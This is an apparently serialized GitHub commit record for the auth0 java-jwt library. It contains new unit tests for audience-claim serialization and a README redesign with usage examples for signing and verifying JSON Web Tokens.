     }u}(je  (3ebc29dd770df4bf0b998669c1fc7683a3a38371j f  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javajf  modifiedje  K7je  Kjf  K;jf  https://github.com/auth0/java-jwt/blob/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javajf  https://github.com/auth0/java-jwt/raw/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj	f  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=3ca141bcd42a36532ea0d783dbf84c0fff1f00a1jf  X
  @@ -9,10 +9,7 @@
 import org.junit.Test;
 
 import java.io.StringWriter;
-import java.util.Arrays;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
+import java.util.*;
 
 import static org.hamcrest.Matchers.*;
 import static org.junit.Assert.assertThat;
@@ -80,6 +77,60 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
         assertThat(writer.toString(), is(equalTo("{}")));
     }
 
+    @Test
+    public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":\"auth0\"}")));
+    }
+
+    @Test
+    public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudience() throws Exception {
+        ClaimsHolder holder = holderFor("aud", 4);
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
         ClaimsHolder holder = holderFor("nbf", new Date(1478874000));ueu(e6740d90b50bcf46e8ff70d5823b0386450f06c0}(sha(e6740d90b50bcf46e8ff70d5823b0386450f06c0node_idEC_kwDOAQtL0doAKGU2NzQwZDkwYjUwYmNmNDZlOGZmNzBkNTgyM2IwMzg2NDUwZjA2YzAcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-15T01:43:31Zu	committer}(jf  Jim Andersonj!f  jimranderson@gmail.comj#f  2022-10-15T01:43:52Zumessage[SDK-3694] README redesigntree}(jf  (1f7bbf0ad0c3ba81b40d7ca631c603f105885317url^https://api.github.com/repos/auth0/java-jwt/git/trees/1f7bbf0ad0c3ba81b40d7ca631c603f105885317uj/f  `https://api.github.com/repos/auth0/java-jwt/git/commits/e6740d90b50bcf46e8ff70d5823b0386450f06c0
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj/f  \https://api.github.com/repos/auth0/java-jwt/commits/e6740d90b50bcf46e8ff70d5823b0386450f06c0html_urlQhttps://github.com/auth0/java-jwt/commit/e6740d90b50bcf46e8ff70d5823b0386450f06c0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e6740d90b50bcf46e8ff70d5823b0386450f06c0/commentsjf  }(login
jimmyjamesidJ7 jf  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j/f  'https://api.github.com/users/jimmyjamesj;f  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj%f  }(j@f  
jimmyjamesjBf  J7 jf  MDQ6VXNlcjI3NjIyNQ==jDf  2https://avatars.githubusercontent.com/u/276225?v=4jFf  h3j/f  'https://api.github.com/users/jimmyjamesj;f  https://github.com/jimmyjamesjIf  1https://api.github.com/users/jimmyjames/followersjKf  >https://api.github.com/users/jimmyjames/following{/other_user}jMf  7https://api.github.com/users/jimmyjames/gists{/gist_id}jOf  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jQf  5https://api.github.com/users/jimmyjames/subscriptionsjSf  ,https://api.github.com/users/jimmyjames/orgsjUf  -https://api.github.com/users/jimmyjames/reposjWf  8https://api.github.com/users/jimmyjames/events{/privacy}jYf  7https://api.github.com/users/jimmyjames/received_eventsj[f  Userj]f  uparents]}(jf  (9840e74b7ef87ce9678d2ee71308499fb1b6f757j/f  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757j;f  Qhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757uastats}(totalM	additionsKό	deletionsMufiles](}(jf  (8a849303a3537bea1ca33809b4b9bdf5bc83bbddfilenameEXAMPLES.mdstatusaddedjwf  Kjxf  K changesKblob_url[https://github.com/auth0/java-jwt/blob/e6740d90b50bcf46e8ff70d5823b0386450f06c0/EXAMPLES.mdraw_urlZhttps://github.com/auth0/java-jwt/raw/e6740d90b50bcf46e8ff70d5823b0386450f06c0/EXAMPLES.mdcontents_urlmhttps://api.github.com/repos/auth0/java-jwt/contents/EXAMPLES.md?ref=e6740d90b50bcf46e8ff70d5823b0386450f06c0patchX  @@ -0,0 +1,130 @@
+# Examples using java-jwt
+
+* [Inspecting a DecodedJWT](#inspecting-a-decodedjwt)
+* [DateTime Claim Validation](#datetime-claim-validation)
+* [Using custom claims](#using-custom-claims)
+* [Using a KeyProvider](#using-a-keyprovider)
+
+## Inspecting a DecodedJWT
+
+The successful verification of a JWT returns a `DecodedJWT`, from which you can obtain its contents.
+
+```java
+DecodedJWT jwt = JWT.require(algorithm)
+        .build()
+        .verify("a.b.c");
+
+// standard claims can be retrieved through first-class methods
+String subject = jwt.getSubject();
+String aud = jwt.getAudience();
+// ...
+
+// custom claims can also be obtained
+String customStringClaim = jwt.getClaim("custom-string-claim").asString();
+```
+
+When retrieving custom claims, a [Claim](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/interfaces/Claim.html) is returned, which can then be used to obtain the value depending on the value's underlying type.
+
+## DateTime Claim Validation
+
+A JWT token may include DateNumber fields that can be used to validate that:
+
+* The token was issued in a past date `"iat" < NOW`
+* The token hasn't expired yet `"exp" > NOW`
+* The token can already be used. `"nbf" < NOW`
+
+When verifying a JWT, the standard DateTime claims are validated by default. A `JWTVerificationException` is thrown if any of the claim values are invalid.
+
+To specify a **leeway** in which the JWT should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1) // 1 sec for nbf, iat and exp
+    .build();
+```
+
+You can also specify a custom value for a given DateTime claim and override the default one for only that claim.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1)   //1 sec for nbf and iat
+    .acceptExpiresAt(5)   //5 secs for exp
+    .build();
+```
+
+If you need to test this behavior in your application, cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
+
+```java
+BaseVerification verification = (BaseVerification) JWT.require(algorithm)
+    .acceptLeeway(1)
+    .acceptExpiresAt(5);
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
+JWTVerifier verifier = verification.build(clock);
+```
+
+## Using custom claims
+
+### JWT creation
+A JWT can be built with custom payload and header claims, by using the `withHeader` and `withClaim` methods.
+
+```java
+String jwt = JWT.create()
+        .withHeader(headerMap)
+        .withClaim("string-claim", "string-value")
+        .withClaim("number-claim", 42)
+        .withClaim("bool-claim", true)
+        .withClaim("datetime-claim", Instant.now())
+        .sign(algorithm);
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTCreator.Builder.html) for all available custom claim methods.
+
+### JWT verification
+
+You can also verify a JWT's custom claims:
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+        .withClaim("number-claim", 123)
+        .withClaimPresence("some-claim-that-just-needs-to-be-present")
+        .withClaim("predicate-claim", (claim, decodedJWT) -> "custom value".equals(claim.asString()))
+        .build();
+DecodedJWT jwt = verifier.verify("my.jwt.token");
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTVerifier.BaseVerification.html) for all available custom claim verification methods.
+
+## Using a KeyProvider
+
+A `KeyProvider` can be used to obtain the keys needed for signing and verifying a JWT. How these keys are constructed are beyond the scope of this library, but the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library provides the ability to obtain the public key from a JWK.
+The example below demonstrates this for the RSA algorithm (`ECDSAKeyProvider` can be used for ECDSA).
+
+```java
+JwkProvider provider = new JwkProviderBuilder("https://samples.auth0.com/")
+        .cached(10, 24, TimeUnit.HOURS)
+        .rateLimited(10, 1, TimeUnit.MINUTES)
+        .build();
+final RSAPrivateKey privateKey = // private key
+final String privateKeyId = // private key ID
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        return (RSAPublicKey) jwkProvider.get(kid).getPublicKey();
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        // return the private key used 
+        return rsaPrivateKey;
+    }
+
+    @Override
+    public String getPrivateKeyId() {
+        return rsaPrivateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
\ No newline at end of fileu}(jf  (cc1abac44dbae9b196833d0bb8305c0bfa8d0ab6j}f  	README.mdjf  modifiedjwf  KMjxf  Mjf  Mjf  Yhttps://github.com/auth0/java-jwt/blob/e6740d90b50bcf46e8ff70d5823b0386450f06c0/README.mdjf  Xhttps://github.com/auth0/java-jwt/raw/e6740d90b50bcf46e8ff70d5823b0386450f06c0/README.mdjf  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=e6740d90b50bcf46e8ff70d5823b0386450f06c0jf  X_  @@ -1,60 +1,28 @@
-
-
 # Java JWT
 
+A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519)
+
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)
-[![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
-[![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
-
-> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+[![License](http://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org/)
+[![Maven Central](https://img.shields.io/maven-central/v/com.auth0/java-jwt.svg?style=flat-square)](https://mvnrepository.com/artifact/com.auth0/java-jwt)
+[![javadoc](https://javadoc.io/badge2/com.auth0/auth0/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt)
 
-If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
+:books: [Documentation](#documentation) - :rocket: [Getting Started](#getting-started) - :computer: [API Reference](#api-reference) :speech_balloon: [Feedback](#feedback)
 
-> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
+## Documentation
+- [Examples](./EXAMPLES.md) - code samples for common auth0-java scenarios.
+- [Docs site](https://www.auth0.com/docs) - explore our docs site and learn more about Auth0.
 
-## Table of Contents
-- [**Requirements**](#requirements)
-- [**Installation**](#installation)
-- [**Available Algorithms**](#available-algorithms)
-- [**Quickstart**](#quickstart)
-  + [**Create and Sign a Token**](#create-and-sign-a-token)
-  + [**Verify a Token**](#verify-a-token)
-- [**Usage**](#usage)
-  + [**Pick the algorithm**](#pick-the-algorithm)
-  + [**Time Validation**](#time-validation)
-  + [**Header Claims**](#header-claims)
-  + [**Payload Claims**](#payload-claims)
-  + [**Claim Class**](#claim-class)
-- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+## Getting Started
 
-## Requirements
+### Requirements
 
-This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+This library is supported for Java LTS versions 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
 
-## Installation
+> `auth0-java` is intended for server-side JVM applications. Android applications should use the [Auth0.Android SDK](https://github.com/auth0/auth0.android).
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:4.1.0'
-```
-
-### Maven
-
-```xml
-<dependency>
-    <groupId>com.auth0</groupId>
-    <artifactId>java-jwt</artifactId>
-    <version>4.1.0</version>
-</dependency>
-```
-
-## Available Algorithms
-
-The library implements JWT Verification and Signing using the following algorithms:
+`java-jwt` supports the following algorithms for both signing and verification:
 
 | JWS | Algorithm | Description |
 | :-------------: | :-------------: | :----- |
@@ -70,434 +38,97 @@ The library implements JWT Verification and Signing using the following algorith
 
 > Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-## Quickstart
-
-### Create and Sign a Token
-
-You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. Use the builder to define the custom Claims your token needs to have. Finally to get the String token call `sign()` and pass the `Algorithm` instance.
-
-* Example using `HS256`
-
-    ```java
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
-
-### Verify a Token
-
-You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
-
-* Example using `HS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
-
-<details>
-<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
-
-### Decode a Token
-
-> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-</details>
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### :key: HMAC Key Length and Security
-
-When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
-
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
-
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
-
-
-### Time Validation
-
-The JWT token may include DateNumber fields that can be used to validate that:
-* The token was issued in a past date `"iat" < TODAY`
-* The token hasn't expired yet `"exp" > TODAY` and
-* The token can already be used. `"nbf" < TODAY`
-
-When verifying a token the time validation occurs automatically, resulting in a `JWTVerificationException` being throw when the values are invalid. If any of the previous fields are missing they won't be considered in this validation.
-
-To specify a **leeway window** in which the Token should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1) // 1 sec for nbf, iat and exp
-    .build();
-```
-
-You can also specify a custom value for a given Date claim and override the default one for only that claim.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1)   //1 sec for nbf and iat
-    .acceptExpiresAt(5)   //5 secs for exp
-    .build();
-```
-
-If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
-
-```java
-BaseVerification verification = (BaseVerification) JWT.require(algorithm)
-    .acceptLeeway(1)
-    .acceptExpiresAt(5);
-private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
-JWTVerifier verifier = verification.build(clock);
-```
-
-### Header Claims
-
-#### Algorithm ("alg")
-
-Returns the Algorithm value or null if it's not defined in the Header.
-
-```java
-String algorithm = jwt.getAlgorithm();
-```
-
-#### Type ("typ")
-
-Returns the Type value or null if it's not defined in the Header.
-
-```java
-String type = jwt.getType();
-```
-
-#### Content Type ("cty")
-
-Returns the Content Type value or null if it's not defined in the Header.
-
-```java
-String contentType = jwt.getContentType();
-```
-
-#### Key Id ("kid")
-
-Returns the Key Id value or null if it's not defined in the Header.
-
-```java
-String keyId = jwt.getKeyId();
-```
-
-#### Private Claims
-
-Additional Claims defined in the token's Header can be obtained by calling `getHeaderClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Claim claim = jwt.getHeaderClaim("owner");
-```
-
-When creating a Token with the `JWT.create()` you can specify header Claims by calling `withHeader()` and passing both the map of claims.
-
-```java
-Map<String, Object> headerClaims = new HashMap();
-headerClaims.put("owner", "auth0");
-String token = JWT.create()
-        .withHeader(headerClaims)
-        .sign(algorithm);
-```
-
-> The `alg` and `typ` values will always be included in the Header after the signing process.
-
-
-### Payload Claims
-
-#### Issuer ("iss")
-
-Returns the Issuer value or null if it's not defined in the Payload.
-
-```java
-String issuer = jwt.getIssuer();
-```
-
-#### Subject ("sub")
-
-Returns the Subject value or null if it's not defined in the Payload.
-
-```java
-String subject = jwt.getSubject();
-```
-
-#### Audience ("aud")
-
-Returns the Audience value or null if it's not defined in the Payload.
-
-```java
-List<String> audience = jwt.getAudience();
-```
-
-#### Expiration Time ("exp")
-
-Returns the Expiration Time value or null if it's not defined in the Payload.
-
-```java
-Date expiresAt = jwt.getExpiresAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant expiresAt = jwt.getExpiresAtAsInstant();
-```
-
-#### Not Before ("nbf")
-
-Returns the Not Before value or null if it's not defined in the Payload.
-
-```java
-Date notBefore = jwt.getNotBefore();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant notBefore = jwt.getNotBeforeAsInstant();
-```
-
-#### Issued At ("iat")
-
-Returns the Issued At value or null if it's not defined in the Payload.
-
-```java
-Date issuedAt = jwt.getIssuedAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant issuedAt = jwt.getIssuedAtAsInstant();
-```
-
-#### JWT ID ("jti")
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+### Installation
 
-Returns the JWT ID value or null if it's not defined in the Payload.
+Add the dependency via Maven:
 
-```java
-String id = jwt.getId();
+```xml
+<dependency>
+  <groupId>com.auth0</groupId>
+  <artifactId>java-jwt</artifactId>
+  <version>4.1.0</version>
+</dependency>
 ```
 
-#### Private Claims
+or Gradle:
 
-Additional Claims defined in the token's Payload can be obtained by calling `getClaims()` or `getClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Map<String, Claim> claims = jwt.getClaims();    //Key is the Claim name
-Claim claim = claims.get("isAdmin");
+```gradle
+implementation 'com.auth0:jva-jwt:4.1.0'
 ```
 
-or
+### Create a JWT
 
-```java
-Claim claim = jwt.getClaim("isAdmin");
-```
+Use `JWT.create()`, configure the claims, and then call `sign(algorithm)` to sign the JWT.
 
-When creating a Token with the `JWT.create()` you can specify a custom Claim by calling `withClaim()` and passing both the name and the value.
+The example below demonstrates this using the `RS256` signing algorithm:
 
 ```java
-String token = JWT.create()
-        .withClaim("name", 123)
-        .withArrayClaim("array", new Integer[]{1, 2, 3})
-        .withNullClaim("claim_name")
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    String token = JWT.create()
+        .withIssuer("auth0")
         .sign(algorithm);
+} catch (JWTCreationException exception){
+    // Invalid Signing configuration / Couldn't convert Claims.
+}
 ```
 
-You can also create a JWT by calling `withPayload()` and passing a map of claim names to values:
+### Verify a JWT
 
-```java
-Map<String, Object> payloadClaims = new HashMap<>();
-payloadClaims.put("@context", "https://auth0.com/");
-String token = JWT.create()
-        .withPayload(payloadClaims)
-        .sign(algorithm);
-```
+Create a `JWTVerifier` passing the `Algorithm`, and specify any required claim values.
 
-You can also verify custom Claims on the `JWT.require()` by calling `withClaim()` and passing both the name and the required value.
+The following example uses `RS256` to verify the JWT.
 
 ```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .withClaim("name", 123)
-    .withArrayClaim("array", 1, 2, 3)
-    .withNullClaim("null_value") //checks if the claim name provided has null value
-    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
-    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
-    .build();
-DecodedJWT jwt = verifier.verify("my.jwt.token");
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+DecodedJWT decodedJWT;
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    JWTVerifier verifier = JWT.require(algorithm)
+        // specify an specific claim validations
+        .withIssuer("auth0")
+        // reusable verifier instance
+        .build();
+        
+    decodedJWT jwt = verifier.verify(token);
+} catch (JWTVerificationException exception){
+    // Invalid signature/claims
+}
 ```
 
-> Currently supported classes for custom JWT Claim creation and verification are: Boolean, Integer, Double, String, Date and Arrays of type String and Integer.
-
-
-### Claim Class
-The Claim class is a wrapper for the Claim values. It allows you to get the Claim as different class types. The available helpers are:
-
-#### Primitives
-* **asBoolean()**: Returns the Boolean value or null if it can't be converted.
-* **asInt()**: Returns the Integer value or null if it can't be converted.
-* **asDouble()**: Returns the Double value or null if it can't be converted.
-* **asLong()**: Returns the Long value or null if it can't be converted.
-* **asString()**: Returns the String value or null if it can't be converted.
-* **asInstant()**: Returns the Instant value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted.
-
-> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
-
-#### Custom Classes and Collections
-To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.
-
-* **as(class)**: Returns the value parsed as **Class Type**. For collections you should use the `asArray` and `asList` methods.
-* **asMap()**: Returns the value parsed as **Map<String, Object>**.
-* **asArray(class)**: Returns the value parsed as an Array of elements of type **Class Type**, or null if the value isn't a JSON Array.
-* **asList(class)**: Returns the value parsed as a List of elements of type **Class Type**, or null if the value isn't a JSON Array.
-
-If the values can't be converted to the given **Class Type** a `JWTDecodeException` will raise.
-
-
